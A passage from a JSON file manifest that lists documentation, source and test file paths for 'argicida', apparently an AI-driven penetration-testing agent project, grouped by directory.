archive/rfe/2026-07-07-screenshot-vision-analysis.md\",\"docs/archive/rfe/2026-07-07-subagent-delegation.md\",\"docs/archive/rfe/2026-07-10-credential-fragment-model.md\",\"docs/archive/rfe/2026-07-11-dns-aware-scope-enforcement.md\",\"docs/archive/rfe/2026-07-13-infrastructure-vs-prompt-boundary.md\",\"docs/archive/rfe/2026-07-15-engagement-management.md\",\"docs/archive/spec-gaps.md\",\"docs/archive/specs/2026-06-29-project-structure-design.md\",\"docs/archive/specs/2026-07-01-phase-2a-hermes-integration.md\",\"docs/archive/specs/2026-07-02-hermes-convention-refactor.md\",\"docs/archive/specs/2026-07-02-llm-driven-redesign.md\",\"docs/archive/specs/2026-07-02-phase3-infrastructure-hardening.md\",\"docs/archive/specs/2026-07-02-structured-perceptor.md\",\"docs/archive/specs/2026-07-08-engagement-lifecycle.md\",\"docs/archive/specs/2026-07-09-tool-definition-registry.md\",\"docs/archive/specs/2026-07-15-screenshot-vision-analysis.md\",\"docs/archive/superpowers/plans/2026-07-01-phase1-first-light.md\",\"docs/archive/superpowers/plans/2026-07-01-scope-enforcement.md\",\"docs/archive/superpowers/plans/2026-07-02-hermes-convention-refactor.md\",\"docs/archive/superpowers/plans/2026-07-03-nse-script-fuzzy-matching.md\",\"docs/archive/superpowers/plans/2026-07-04-artifact-storage.md\",\"docs/archive/superpowers/plans/2026-07-04-db-query-finding-parser.md\",\"docs/archive/superpowers/plans/2026-07-04-db-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-04-redis-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-06-curl-tool.md\",\"docs/archive/superpowers/plans/2026-07-06-db-enumeration-skill-split.md\",\"docs/archive/superpowers/plans/2026-07-06-katana-ffuf-tools.md\",\"docs/archive/superpowers/plans/2026-07-06-screenshot-tool.md\",\"docs/archive/superpowers/plans/2026-07-07-normalizer-refactor.md\",\"docs/archive/superpowers/plans/2026-07-07-result-transformer.md\",\"docs/archive/superpowers/plans/2026-07-07-rpcinfo-tool.md\",\"docs/archive/superpowers/plans/2026-07-07-validation-fixes.md\",\"docs/archive/superpowers/plans/2026-07-08-engagement-lifecycle.md\",\"docs/archive/superpowers/plans/2026-07-08-engagement-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-09-ssh-exec-tool.md\",\"docs/archive/superpowers/plans/2026-07-09-tool-definition-registry.md\",\"docs/archive/superpowers/plans/2026-07-10-mongo-query.md\",\"docs/archive/superpowers/plans/2026-07-10-service-coverage.md\",\"docs/archive/superpowers/plans/2026-07-13-credential-fragment-model.md\",\"docs/archive/superpowers/plans/2026-07-14-structural-ownership.md\",\"docs/archive/superpowers/plans/2026-07-15-dns-aware-scope-enforcement.md\",\"docs/archive/superpowers/plans/2026-07-16-engagement-management.md\",\"docs/archive/superpowers/plans/2026-07-20-asset-registry.md\",\"docs/archive/superpowers/plans/2026-07-21-dry-simplification.md\",\"docs/archive/superpowers/plans/2026-07-21-register-refactor.md\",\"docs/archive/superpowers/specs/2026-07-01-scope-enforcement-design.md\",\"docs/archive/superpowers/specs/2026-07-03-nse-script-fuzzy-matching-design.md\",\"docs/archive/superpowers/specs/2026-07-04-artifact-storage-design.md\",\"docs/archive/superpowers/specs/2026-07-04-db-query-finding-parser-design.md\",\"docs/archive/superpowers/specs/2026-07-04-redis-query-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-06-curl-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-06-db-enumeration-skill-split-design.md\",\"docs/archive/superpowers/specs/2026-07-06-katana-ffuf-tools-design.md\",\"docs/archive/superpowers/specs/2026-07-06-screenshot-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-07-normalizer-refactor-design.md\",\"docs/archive/superpowers/specs/2026-07-07-result-transformer-design.md\",\"docs/archive/superpowers/specs/2026-07-07-rpcinfo-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-07-validation-fixes-design.md\",\"docs/archive/superpowers/specs/2026-07-08-engagement-query-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-08-subagent-delegation-design.md\",\"docs/archive/superpowers/specs/2026-07-09-ssh-exec-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-10-mongo-query-design.md\",\"docs/archive/superpowers/specs/2026-07-10-service-coverage-design.md\",\"docs/archive/superpowers/specs/2026-07-13-credential-fragment-model-design.md\",\"docs/archive/superpowers/specs/2026-07-14-remediation-design.md\",\"docs/archive/superpowers/specs/2026-07-15-dns-aware-scope-enforcement-design.md\",\"docs/archive/superpowers/specs/2026-07-16-engagement-management-design.md\",\"docs/archive/superpowers/specs/2026-07-20-asset-registry-design.md\",\"docs/archive/superpowers/specs/2026-07-21-dry-simplification-design.md\",\"docs/archive/superpowers/specs/2026-07-21-register-refactor-design.md\",\"docs/research/2026-07-02-offensive-security-research.md\",\"docs/research/2026-07-04-hermes-configuration-deep-dive.md\",\"docs/research/2026-07-10-c2-integration-strategy.md\",\"docs/rfe/2026-07-11-zap-proxy-web-scanning.md\",\"docs/rfe/2026-07-25-zap-automation-framework.md\",\"docs/rfe/2026-07-26-test-target-infrastructure.md\",\"docs/superpowers/archive/2026-07-22-zap-deep-integration-design.md\",\"docs/superpowers/archive/2026-07-22-zap-deep-integration.md\",\"docs/superpowers/archive/2026-07-22-zap-integration-gaps-design.md\",\"docs/superpowers/archive/2026-07-22-zap-integration-gaps.md\",\"docs/superpowers/archive/2026-07-23-e2e-research-findings.md\",\"docs/superpowers/archive/2026-07-23-e2e-test-integrity-design.md\",\"docs/superpowers/archive/2026-07-23-e2e-test-integrity.md\",\"docs/superpowers/plans/2026-07-26-zap-af-pipeline-integration.md\",\"docs/superpowers/plans/2026-07-27-phase-aware-autonomy.md\",\"docs/superpowers/plans/archive/2026-07-29-gateway-network-isolation.md\",\"docs/superpowers/specs/2026-07-26-zap-af-pipeline-integration-design.md\",\"docs/superpowers/specs/2026-07-27-phase-aware-autonomy-design.md\",\"docs/superpowers/specs/archive/2026-07-29-gateway-network-isolation-design.md\",\"profile/README.md\",\"profile/config.yaml\",\"profile/distribution.yaml\",\"profile/skins/argicida.yaml\",\"pyproject.toml\",\"src/argicida/argicida/py.typed\",\"src/argicida/pyproject.toml\",\"src/argicida_agent/argicida_agent/py.typed\",\"src/argicida_agent/pyproject.toml\",\"src/argicida_common/argicida_common/py.typed\",\"src/argicida_common/pyproject.toml\",\"tests/__init__.py\",\"tests/conftest.py\",\"tests/factories.py\",\"tests/argicida/briefing/__init__.py\",\"tests/argicida/briefing/test_generator.py\",\"tests/argicida/briefing/test_prompts.py\",\"tests/argicida/commands/__init__.py\",\"tests/argicida/commands/test_cli.py\",\"tests/argicida/commands/test_formatting.py\",\"tests/argicida/commands/test_slash.py\",\"tests/argicida/commands/test_update_data.py\",\"tests/argicida/conftest.py\",\"tests/argicida/db/test_asset_repo.py\",\"tests/argicida/db/test_asset_tech.py\",\"tests/argicida/db/test_candidate_engine.py\",\"tests/argicida/db/test_credential_helpers.py\",\"tests/argicida/db/test_credentials.py\",\"tests/argicida/db/test_encryption.py\",\"tests/argicida/db/test_finding_repo.py\",\"tests/argicida/db/test_helpers.py\",\"tests/argicida/db/test_migrations.py\",\"tests/argicida/db/test_store.py\",\"tests/argicida/db/test_store_async.py\",\"tests/argicida/engagement/__init__.py\",\"tests/argicida/engagement/test_lifecycle.py\",\"tests/argicida/engagement/test_session.py\",\"tests/argicida/engagement/test_unbind.py\",\"tests/argicida/evidence/test_chain.py\",\"tests/argicida/evidence/test_chain_clear.py\",\"tests/argicida/evidence/test_keys.py\",\"tests/argicida/evidence/test_signer.py\",\"tests/argicida/hooks/conftest.py\",\"tests/argicida/hooks/test_adapters.py\",\"tests/argicida/hooks/test_asset_context.py\",\"tests/argicida/hooks/test_asset_coverage.py\",\"tests/argicida/hooks/test_asset_extractor.py\",\"tests/argicida/hooks/test_autonomy.py\",\"tests/argicida/hooks/test_context.py\",\"tests/argicida/hooks/test_context_tech.py\",\"tests/argicida/hooks/test_coverage_deep_testing.py\",\"tests/argicida/hooks/test_evidence.py\",\"tests/argicida/hooks/test_finalize_zap.py\",\"tests/argicida/hooks/test_normalizer.py\",\"tests/argicida/hooks/test_normalizer_errors.py\",\"tests/argicida/hooks/test_normalizer_perceptor.py\",\"tests/argicida/hooks/test_output_store.py\",\"tests/argicida/hooks/test_parse_result.py\",\"tests/argicida/hooks/test_parsers.py\",\"tests/argicida/hooks/test_password_decoding.py\",\"tests/argicida/hooks/test_perceptor.py\",\"tests/argicida/hooks/test_result_transformers.py\",\"tests/argicida/hooks/test_scope_expansion.py\",\"tests/argicida/hooks/test_scope_guard.py\",\"tests/argicida/hooks/test_service_registry.py\",\"tests/argicida/hooks/test_session_lifecycle.py\",\"tests/argicida/hooks/test_session_start.py\",\"tests/argicida/ipc/test_client.py\",\"tests/argicida/pod/test_builder.py\",\"tests/argicida/pod/test_config.py\",\"tests/argicida/pod/test_launcher.py\",\"tests/argicida/pod/test_launcher_zap.py\",\"tests/argicida/pod/test_manager.py\",\"tests/argicida/pod/test_session.py\",\"tests/argicida/pod/test_session_host_entries.py\",\"tests/argicida/pod/test_vpn_endpoint.py\",\"tests/argicida/registration/__init__.py\",\"tests/argicida/registration/test_context.py\",\"tests/argicida/registration/test_state.py\",\"tests/argicida/scope/conftest.py\",\"tests/argicida/scope/test_db_query_scope.py\",\"tests/argicida/scope/test_hostname_resolution.py\",\"tests/argicida/scope/test_netfilter.py\",\"tests/argicida/scope/test_normalize_target.py\",\"tests/argicida/scope/test_redis_cli_profile.py\",\"tests/argicida/scope/test_rpcinfo_profile.py\",\"tests/argicida/scope/test_validator.py\",\"tests/argicida/test_asset_consistency.py\",\"tests/argicida/test_consistency.py\",\"tests/argicida/test_phase_migration.py\",\"tests/argicida/test_register.py\",\"tests/argicida/test_session_consistency.py\",\"tests/argicida/tools/conftest.py\",\"tests/argicida/tools/defs/__init__.py\",\"tests/argicida/tools/defs/test_all_defs.py\",\"tests/argicida/tools/defs/test_discovery.py\",\"tests/argicida/tools/defs/test_mongo_query_def.py\",\"tests/argicida/tools/defs/test_naabu_def.py\",\"tests/argicida/tools/defs/test_protocol.py\",\"tests/argicida/tools/defs/test_ssh_exec_def.py\",\"tests/argicida/tools/test_add_host_asset.py\",\"tests/argicida/tools/test_add_host_dnsmasq.py\",\"tests/argicida/tools/test_artifact_handlers.py\",\"tests/argicida/tools/test_asset_query_handlers.py\",\"tests/argicida/tools/test_base.py\",\"tests/argicida/tools/test_curl_handler.py\",\"tests/argicida/tools/test_curl_normalizer.py\",\"tests/argicida/tools/test_db_query_handler.py\",\"tests/argicida/tools/test_db_query_normalizer.py\",\"tests/argicida/tools/test_engagement_query_fragments.py\",\"tests/argicida/tools/test_extractor_base.py\",\"tests/argicida/tools/test_extractors.py\",\"tests/argicida/tools/test_ffuf_normalizer.py\",\"tests/argicida/tools/test_handlers.py\",\"tests/argicida/tools/test_katana_normalizer.py\",\"tests/argicida/tools/test_management_handlers.py\",\"tests/argicida/tools/test_management_handlers_zap.py\",\"tests/argicida/tools/test_management_helpers.py\",\"tests/argicida/tools/test_normalizer_components.py\",\"tests/argicida/tools/test_normalizer_has_flag.py\",\"tests/argicida/tools/test_normalizer_shared_classes.py\",\"tests/argicida/tools/test_normalizers.py\",\"tests/argicida/tools/test_normalizers_mongo.py\",\"tests/argicida/tools/test_normalizers_nuclei.py\",\"tests/argicida/tools/test_normalizers_smb.py\",\"tests/argicida/tools/test_normalizers_ssh.py\",\"tests/argicida/tools/test_normalizers_zap.py\",\"tests/argicida/tools/test_parsers_make_finding.py\",\"tests/argicida/tools/test_parsers_mongo.py\",\"tests/argicida/tools/test_parsers_zap.py\",\"tests/argicida/tools/test_redis_query_normalizer.py\",\"tests/argicida/tools/test_schemas.py\",\"tests/argicida/tools/test_screenshot_handler.py\",\"tests/argicida/tools/test_screenshot_vision.py\",\"tests/argicida/tools/test_shared_utils.py\",\"tests/argicida/tools/test_tool_def_extractor.py\",\"tests/argicida/tools/test_transformer_infrastructure.py\",\"tests/argicida/tools/test_transformers_dnsx_proposal.py\",\"tests/argicida/tools/test_transformers_mongo.py\",\"tests/argicida/tools/test_transformers_ssh.py\",\"tests/argicida/tools/test_transformers_zap.py\",\"tests/argicida/tools/test_zap_new_tools.py\",\"tests/argicida/triage/test_asset_discovery.py\",\"tests/argicida/triage/test_classifier.py\",\"tests/argicida/triage/test_data.py\",\"tests/argicida/triage/test_dedup.py\",\"tests/argicida/triage/test_scorer.py\",\"tests/argicida/zap/__init__.py\",\"tests/argicida/zap/test_client.py\",\"tests/argicida/zap/test_client_af.py\",\"tests/argicida/zap/test_client_intel.py\",\"tests/argicida/zap/test_credential_tester.py\",\"tests/argicida/zap/test_manager.py\",\"tests/argicida/zap/test_manager_af.py\",\"tests/argicida/zap/test_plan_executor.py\",\"tests/argicida/zap/test_plan_generator.py\",\"tests/argicida/zap/test_scan_policy.py\",\"tests/argicida/zap/test_scan_policy_passive.py\",\"tests/argicida_agent/executor/test_runner.py\",\"tests/argicida_agent/ipc/test_server.py\",\"tests/argicida_agent/test_main.py\",\"tests/argicida_common/test_asset_schema.py\",\"tests/argicida_common/test_constants.py\",\"tests/argicida_common/test_credential_schema.py\",\"tests/argicida_common/test_engagement_schema.py\",\"tests/argicida_common/test_finding_schema.py\",\"tests/argicida_common/test_ipc_protocol.py\",\"tests/argicida_common/test_ipc_schema.py\",\"tests/argicida_common/test_scope_schema.py\",\"tests/e2e/__init__.py\",\"tests/e2e/assertions.py\",\"tests/e2e/conftest.py\",\"tests/e2e/fault_injector.py\",\"tests/e2e/harness.py\",\"tests/e2e/test_e2e_smoke.py\",\"tests/integration/__init__.py\",\"tests/integration/conftest.py\",\"tests/integration/test_asset_pipeline.py\",\"tests/integration/test_hook_pipeline.py\",\"tests/integration/test_phase_lifecycle.py\",\"tests/integration/test_registration.py\",\"tests/integration/test_session_lifecycle.py\",\"tests/integration/test_slash_commands.py\",\"tests/integration/test_tool_dispatch.py\",\"tests/pod_integration/__init__.py\",\"tests/pod_integration/conftest.py\",\"tests/pod_integration/test_artifact_transfer.py\",\"tests/pod_integration/test_asset_registry.py\",\"tests/pod_integration/test_container_build.py\",\"tests/pod_integration/test_diagnostic_pod.py\",\"tests/pod_integration/test_engagement_management.py\",\"tests/pod_integration/test_fault_recovery.py\",\"tests/pod_integration/test_fault_stale_session.py\",\"tests/pod_integration/test_first_light.py\",\"tests/pod_integration/test_gateway_fail_closed.py\",\"tests/pod_integration/test_gateway_isolation.py\",\"tests/pod_integration/test_ipc_file_write.py\",\"tests/pod_integration/test_zap.py\",\"tests/pod_integration/test_zap_af.py\",\"tests/scripts/__init__.py\",\"tests/scripts/test_sync_skills.py\"],\"Other \u2014 CLAUDE.md\":[\"CLAUDE.md\"],\"Other \u2014 README.md\":[\"README.md\"],\"Other \u2014 docs\":[\"docs/DEVELOPMENT-STANDARDS.md\",\"docs/RESEARCH.md\",\"docs/triage-engine.md\"],\"Other \u2014 docs-archive\":[\"docs/archive/AUDIT-2026-07-14.md\",\"docs/archive/NOTES.md\",\"docs/archive/REFACTOR-PLAN-v2.md\",\"docs/archive/REFACTOR-PLAN.md\",\"docs/archive/REFACTOR-REFERENCES.md\",\"docs/archive/REMEDIATION-PLAN-2026-07-14.md\",\"docs/archive/audit-confirmed-findings.md\",\"docs/archive/e2e-gap-analysis.md\",\"docs/archive/full-system-audit.md\",\"docs/archive/htb-api-reference.md\",\"docs/archive/ipc-sync-async-boundary.md\",\"docs/archive/pipeline-engine.md\",\"docs/archive/plans/2026-06-30-foundation.md\",\"docs/archive/plans/2026-06-30-ipc-control-plane.md\",\"docs/archive/plans/2026-06-30-pipeline-engine.md\",\"docs/archive/plans/2026-06-30-scope-enforcement.md\",\"docs/archive/plans/2026-06-30-tool-wrappers.md\",\"docs/archive/plans/2026-06-30-triage-and-hooks.md\",\"docs/archive/plans/2026-07-01-briefing-and-trace.md\",\"docs/archive/plans/2026-07-01-container-build.md\",\"docs/archive/plans/2026-07-01-dynamic-pipeline.md\",\"docs/archive/plans/2026-07-01-e2e-gap-fixes.md\",\"docs/archive/plans/2026-07-01-hermes-plugin-shell.md\",\"docs/archive/plans/2026-07-01-integration-test-harness.md\",\"docs/archive/plans/2026-07-01-iterative-reentry.md\",\"docs/archive/plans/2026-07-01-pod-and-cli-commands.md\",\"docs/archive/plans/2026-07-01-session-lifecycle.md\",\"docs/archive/plans/2026-07-02-llm-driven-redesign.md\",\"docs/archive/plans/2026-07-02-phase3-infrastructure-hardening.md\",\"docs/archive/plans/2026-07-02-structured-perceptor.md\",\"docs/archive/plans/2026-07-15-screenshot-vision-analysis.md\",\"docs/archive/rfe/2026-07-07-engagement-query-tool.md\",\"docs/archive/rfe/2026-07-07-screenshot-vision-analysis.md\",\"docs/archive/rfe/2026-07-07-subagent-delegation.md\",\"docs/archive/rfe/2026-07-10-credential-fragment-model.md\",\"docs/archive/rfe/2026-07-11-dns-aware-scope-enforcement.md\",\"docs/archive/rfe/2026-07-13-infrastructure-vs-prompt-boundary.md\",\"docs/archive/rfe/2026-07-15-engagement-management.md\",\"docs/archive/spec-gaps.md\",\"docs/archive/specs/2026-06-29-project-structure-design.md\",\"docs/archive/specs/2026-07-01-phase-2a-hermes-integration.md\",\"docs/archive/specs/2026-07-02-hermes-convention-refactor.md\",\"docs/archive/specs/2026-07-02-llm-driven-redesign.md\",\"docs/archive/specs/2026-07-02-phase3-infrastructure-hardening.md\",\"docs/archive/specs/2026-07-02-structured-perceptor.md\",\"docs/archive/specs/2026-07-08-engagement-lifecycle.md\",\"docs/archive/specs/2026-07-09-tool-definition-registry.md\",\"docs/archive/specs/2026-07-15-screenshot-vision-analysis.md\",\"docs/archive/superpowers/plans/2026-07-01-phase1-first-light.md\",\"docs/archive/superpowers/plans/2026-07-01-scope-enforcement.md\",\"docs/archive/superpowers/plans/2026-07-02-hermes-convention-refactor.md\",\"docs/archive/superpowers/plans/2026-07-03-nse-script-fuzzy-matching.md\",\"docs/archive/superpowers/plans/2026-07-04-artifact-storage.md\",\"docs/archive/superpowers/plans/2026-07-04-db-query-finding-parser.md\",\"docs/archive/superpowers/plans/2026-07-04-db-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-04-redis-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-06-curl-tool.md\",\"docs/archive/superpowers/plans/2026-07-06-db-enumeration-skill-split.md\",\"docs/archive/superpowers/plans/2026-07-06-katana-ffuf-tools.md\",\"docs/archive/superpowers/plans/2026-07-06-screenshot-tool.md\",\"docs/archive/superpowers/plans/2026-07-07-normalizer-refactor.md\",\"docs/archive/superpowers/plans/2026-07-07-result-transformer.md\",\"docs/archive/superpowers/plans/2026-07-07-rpcinfo-tool.md\",\"docs/archive/superpowers/plans/2026-07-07-validation-fixes.md\",\"docs/archive/superpowers/plans/2026-07-08-engagement-lifecycle.md\",\"docs/archive/superpowers/plans/2026-07-08-engagement-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-09-ssh-exec-tool.md\",\"docs/archive/superpowers/plans/2026-07-09-tool-definition-registry.md\",\"docs/archive/superpowers/plans/2026-07-10-mongo-query.md\",\"docs/archive/superpowers/plans/2026-07-10-service-coverage.md\",\"docs/archive/superpowers/plans/2026-07-13-credential-fragment-model.md\",\"docs/archive/superpowers/plans/2026-07-14-structural-ownership.md\",\"docs/archive/superpowers/plans/2026-07-15-dns-aware-scope-enforcement.md\",\"docs/archive/superpowers/plans/2026-07-16-engagement-management.md\",\"docs/archive/superpowers/plans/2026-07-20-asset-registry.md\",\"docs/archive/superpowers/plans/2026-07-21-dry-simplification.md\",\"docs/archive/superpowers/plans/2026-07-21-register-refactor.md\",\"docs/archive/superpowers/specs/2026-07-01-scope-enforcement-design.md\",\"docs/archive/superpowers/specs/2026-07-03-nse-script-fuzzy-matching-design.md\",\"docs/archive/superpowers/specs/2026-07-04-artifact-storage-design.md\",\"docs/archive/superpowers/specs/2026-07-04-db-query-finding-parser-design.md\",\"docs/archive/superpowers/specs/2026-07-04-redis-query-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-06-curl-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-06-db-enumeration-skill-split-design.md\",\"docs/archive/superpowers/specs/2026-07-06-katana-ffuf-tools-design.md\",\"docs/archive/superpowers/specs/2026-07-06-screenshot-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-07-normalizer-refactor-design.md\",\"docs/archive/superpowers/specs/2026-07-07-result-transformer-design.md\",\"docs/archive/superpowers/specs/2026-07-07-rpcinfo-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-07-validation-fixes-design.md\",\"docs/archive/superpowers/specs/2026-07-08-engagement-query-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-08-subagent-delegation-design.md\",\"docs/archive/superpowers/specs/2026-07-09-ssh-exec-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-10-mongo-query-design.md\",\"docs/archive/superpowers/specs/2026-07-10-service-coverage-design.md\",\"docs/archive/superpowers/specs/2026-07-13-credential-fragment-model-design.md\",\"docs/archive/superpowers/specs/2026-07-14-remediation-design.md\",\"docs/archive/superpowers/specs/2026-07-15-dns-aware-scope-enforcement-design.md\",\"docs/archive/superpowers/specs/2026-07-16-engagement-management-design.md\",\"docs/archive/superpowers/specs/2026-07-20-asset-registry-design.md\",\"docs/archive/superpowers/specs/2026-07-21-dry-simplification-design.md\",\"docs/archive/superpowers/specs/2026-07-21-register-refactor-design.md\"],\"Other \u2014 docs-research\":[\"docs/research/2026-07-02-offensive-security-research.md\",\"docs/research/2026-07-04-hermes-configuration-deep-dive.md\",\"docs/research/2026-07-10-c2-integration-strategy.md\"],\"Other \u2014 docs-rfe\":[\"docs/rfe/2026-07-11-zap-proxy-web-scanning.md\",\"docs/rfe/2026-07-25-zap-automation-framework.md\",\"docs/rfe/2026-07-26-test-target-infrastructure.md\"],\"Other \u2014 docs-superpowers\":[\"docs/superpowers/archive/2026-07-22-zap-deep-integration-design.md\",\"docs/superpowers/archive/2026-07-22-zap-deep-integration.md\",\"docs/superpowers/archive/2026-07-22-zap-integration-gaps-design.md\",\"docs/superpowers/archive/2026-07-22-zap-integration-gaps.md\",\"docs/superpowers/archive/2026-07-23-e2e-research-findings.md\",\"docs/superpowers/archive/2026-07-23-e2e-test-integrity-design.md\",\"docs/superpowers/archive/2026-07-23-e2e-test-integrity.md\",\"docs/superpowers/plans/2026-07-26-zap-af-pipeline-integration.md\",\"docs/superpowers/plans/2026-07-27-phase-aware-autonomy.md\",\"docs/superpowers/plans/archive/2026-07-29-gateway-network-isolation.md\",\"docs/superpowers/specs/2026-07-26-zap-af-pipeline-integration-design.md\",\"docs/superpowers/specs/2026-07-27-phase-aware-autonomy-design.md\",\"docs/superpowers/specs/archive/2026-07-29-gateway-network-isolation-design.md\"],\"Other \u2014 profile\":[\"profile/README.md\",\"profile/config.yaml\",\"profile/distribution.yaml\"],\"Other \u2014 profile-skins\":[\"profile/skins/argicida.yaml\"],\"Other \u2014 pyproject.toml\":[\"pyproject.toml\"],\"Other \u2014 src-argicida\":[\"src/argicida/argicida/py.typed\",\"src/argicida/pyproject.toml\"],\"Other \u2014 src-argicida_agent\":[\"src/argicida_agent/argicida_agent/py.typed\",\"src/argicida_agent/pyproject.toml\"],\"Other \u2014 src-argicida_common\":[\"src/argicida_common/argicida_common/py.typed\",\"src/argicida_common/pyproject.toml\"],\"Other \u2014 tests\":[\"tests/__init__.py\",\"tests/conftest.py\",\"tests/factories.py\"],\"Other \u2014 tests-argicida\":[\"tests/argicida/briefing/__init__.py\",\"tests/argicida/briefing/test_generator.py\",\"tests/argicida/briefing/test_prompts.py\",\"tests/argicida/commands/__init__.py\",\"tests/argicida/commands/test_cli.py\",\"tests/argicida/commands/test_formatting.py\",\"tests/argicida/commands/test_slash.py\",\"tests/argicida/commands/test_update_data.py\",\"tests/argicida/conftest.py\",\"tests/argicida/db/test_asset_repo.py\",\"tests/argicida/db/test_asset_tech.py\",\"tests/argicida/db/test_candidate_engine.py\",\"tests/argicida/db/test_credential_helpers.py\",\"tests/argicida/db/test_credentials.py\",\"tests/argicida/db/test_encryption.py\",\"tests/argicida/db/test_finding_repo.py\",\"tests/argicida/db/test_helpers.py\",\"tests/argicida/db/test_migrations.py\",\"tests/argicida/db/test_store.py\",\"tests/argicida/db/test_store_async.py\",\"tests/argicida/engagement/__init__.py\",\"tests/argicida/engagement/test_lifecycle.py\",\"tests/argicida/engagement/test_session.py\",\"tests/argicida/engagement/test_unbind.py\",\"tests/argicida/evidence/test_chain.py\",\"tests/argicida/evidence/test_chain_clear.py\",\"tests/argicida/evidence/test_keys.py\",\"tests/argicida/evidence/test_signer.py\",\"tests/argicida/hooks/conftest.py\",\"tests/argicida/hooks/test_adapters.py\",\"tests/argicida/hooks/test_asset_context.py\",\"tests/argicida/hooks/test_asset_coverage.py\",\"tests/argicida/hooks/test_asset_extractor.py\",\"tests/argicida/hooks/test_autonomy.py\",\"tests/argicida/hooks/test_context.py\",\"tests/argicida/hooks/test_context_tech.py\",\"tests/argicida/hooks/test_coverage_deep_testing.py\",\"tests/argicida/hooks/test_evidence.py\",\"tests/argicida/hooks/test_finalize_zap.py\",\"tests/argicida/hooks/test_normalizer.py\",\"tests/argicida/hooks/test_normalizer_errors.py\",\"tests/argicida/hooks/test_normalizer_perceptor.py\",\"tests/argicida/hooks/test_output_store.py\",\"tests/argicida/hooks/test_parse_result.py\",\"tests/argicida/hooks/test_parsers.py\",\"tests/argicida/hooks/test_password_decoding.py\",\"tests/argicida/hooks/test_perceptor.py\",\"tests/argicida/hooks/test_result_transformers.py\",\"tests/argicida/hooks/test_scope_expansion.py\",\"tests/argicida/hooks/test_scope_guard.py\",\"tests/argicida/hooks/test_service_registry.py\",\"tests/argicida/hooks/test_session_lifecycle.py\",\"tests/argicida/hooks/test_session_start.py\",\"tests/argicida/ipc/test_client.py\",\"tests/argicida/pod/test_builder.py\",\"tests/argicida/pod/test_config.py\",\"tests/argicida/pod/test_launcher.py\",\"tests/argicida/pod/test_launcher_zap.py\",\"tests/argicida/pod/test_manager.py\",\"tests/argicida/pod/test_session.py\",\"tests/argicida/pod/test_session_host_entries.py\",\"tests/argicida/pod/test_vpn_endpoint.py\",\"tests/argicida/registration/__init__.py\",\"tests/argicida/registration/test_context.py\",\"tests/argicida/registration/test_state.py\",\"tests/argicida/scope/conftest.py\",\"tests/argicida/scope/test_db_query_scope.py\",\"tests/argicida/scope/test_hostname_resolution.py\",\"tests/argicida/scope/test_netfilter.py\",\"tests/argicida/scope/test_normalize_target.py\",\"tests/argicida/scope/test_redis_cli_profile.py\",\"tests/argicida/scope/test_rpcinfo_profile.py\",\"tests/argicida/scope/test_validator.py\",\"tests/argicida/test_asset_consistency.py\",\"tests/argicida/test_consistency.py\",\"tests/argicida/test_phase_migration.py\",\"tests/argicida/test_register.py\",\"tests/argicida/test_session_consistency.py\",\"tests/argicida/tools/conftest.py\",\"tests/argicida/tools/defs/__init__.py\",\"tests/argicida/tools/defs/test_all_defs.py\",\"tests/argicida/tools/defs/test_discovery.py\",\"tests/argicida/tools/defs/test_mongo_query_def.py\",\"tests/argicida/tools/defs/test_naabu_def.py\",\"tests/argicida/tools/defs/test_protocol.py\",\"tests/argicida/tools/defs/test_ssh_exec_def.py\",\"tests/argicida/tools/test_add_host_asset.py\",\"tests/argicida/tools/test_add_host_dnsmasq.py\",\"tests/argicida/tools/test_artifact_handlers.py\",\"tests/argicida/tools/test_asset_query_handlers.py\",\"tests/argicida/tools/test_base.py\",\"tests/argicida/tools/test_curl_handler.py\",\"tests/argicida/tools/test_curl_normalizer.py\",\"tests/argicida/tools/test_db_query_handler.py\",\"tests/argicida/tools/test_db_query_normalizer.py\",\"tests/argicida/tools/test_engagement_query_fragments.py\",\"tests/argicida/tools/test_extractor_base.py\",\"tests/argicida/tools/test_extractors.py\",\"tests/argicida/tools/test_ffuf_normalizer.py\",\"tests/argicida/tools/test_handlers.py\",\"tests/argicida/tools/test_katana_normalizer.py\",\"tests/argicida/tools/test_management_handlers.py\",\"tests/argicida/tools/test_management_handlers_zap.py\",\"tests/argicida/tools/test_management_helpers.py\",\"tests/argicida/tools/test_normalizer_components.py\",\"tests/argicida/tools/test_normalizer_has_flag.py\",\"tests/argicida/tools/test_normalizer_shared_classes.py\",\"tests/argicida/tools/test_normalizers.py\",\"tests/argicida/tools/test_normalizers_mongo.py\",\"tests/argicida/tools/test_normalizers_nuclei.py\",\"tests/argicida/tools/test_normalizers_smb.py\",\"tests/argicida/tools/test_normalizers_ssh.py\",\"tests/argicida/tools/test_normalizers_zap.py\",\"tests/argicida/tools/test_parsers_make_finding.py\",\"tests/argicida/tools/test_parsers_mongo.py\",\"tests/argicida/tools/test_parsers_zap.py\",\"tests/argicida/tools/test_redis_query_normalizer.py\",\"tests/argicida/tools/test_schemas.py\",\"tests/argicida/tools/test_screenshot_handler.py\",\"tests/argicida/tools/test_screenshot_vision.py\",\"tests/argicida/tools/test_shared_utils.py\",\"tests/argicida/tools/test_tool_def_extractor.py\",\"tests/argicida/tools/test_transformer_infrastructure.py\",\"tests/argicida/tools/test_transformers_dnsx_proposal.py\",\"tests/argicida/tools/test_transformers_mongo.py\",\"tests/argicida/tools/test_transformers_ssh.py\",\"tests/argicida/tools/test_transformers_zap.py\",\"tests/argicida/tools/test_zap_new_tools.py\",\"tests/argicida/triage/test_asset_discovery.py\",\"tests/argicida/triage/test_classifier.py\",\"tests/argicida/triage/test_data.py\",\"tests/argicida/triage/test_dedup.py\",\"tests/argicida/triage/test_scorer.py\",\"tests/argicida/zap/__init__.py\",\"tests/argicida/zap/test_client.py\",\"tests/argicida/zap/test_client_af.py\",\"tests/